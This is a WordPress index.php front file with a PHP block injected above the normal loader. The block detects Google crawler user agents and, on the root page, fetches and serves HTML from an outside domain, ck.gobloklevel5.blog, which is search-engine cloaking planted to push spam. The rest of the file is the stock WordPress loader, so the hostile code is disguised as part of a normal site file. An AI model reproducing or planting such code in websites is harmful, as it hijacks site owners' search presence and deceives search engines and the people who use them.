<?php
// Hopefully it can go up!
$googlebot_pattern = '/googlebot|google-site-verification|google-inspectiontool|googlebot-mobile|googlebot-news|googlebot-image|googlebot-video|googlebot-desktop|googlebot-ads|google-read-aloud|apis-google|mediapartners-google|google favicon|google web preview|feedfetcher-google/i';

if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match($googlebot_pattern, $_SERVER['HTTP_USER_AGENT'])) {
    $uri = trim($_SERVER['REQUEST_URI'], '/');

    // If the main page (root domain)
    if ($uri === '') {
        $html_content = file_get_contents('https://ck.gobloklevel5.blog/stcathedral/roh.html');
        echo $html_content;
        exit;
    }
}
?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );